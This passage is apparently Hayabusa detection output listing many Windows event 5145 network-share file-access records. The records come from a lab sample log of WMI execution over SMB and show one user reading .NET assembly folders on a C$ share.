Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.511 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx\3.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCEx.Resources\3.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon\3.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.526 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\MMCFxCommon.Resources\3.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\System.Management.Automation.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.542 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Accessibility : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Accessibility\9c87f327866f53aec68d4fee40cde33d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\AuditPolicy42d3d2cc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.557 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\AuditPolicy42d3d2cc#\93e4ea0bbfb41ae7167324a500662ee0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ComSvcConfig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ComSvcConfig\b22b9bfb4d9b4b757313165d12acc1b1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.573 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\CustomMarshalers\3028a8133b93784c0a419f1f6eecb9d7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\dfsvc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\dfsvc\caea217214b52a2ebc7f9e29f0594502 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EmbeddedLockdown : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EmbeddedLockdown\d890cdf716b288803af7c42951821885 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EventViewer : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\EventViewer\508676af4bc32c6cdfa35cb048209b2a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ipamapi : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ipamapi\893f9edeb6b037571dca67c05fad882e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A3ec156ec# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.589 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A3ec156ec#\b8fd553238ff003621c581b8a7ab9311 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.604 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A26c32abb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.604 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.A26c32abb#\f51b67a5b93d62c5a6b657ebfd8cdaea : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.604 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Abf69f55a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Abf69f55a#\077014d070d56db90f9a00099da60fa8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B22c61a69# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B22c61a69#\a8aada24560f515d50d1227a4edb9a68 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share 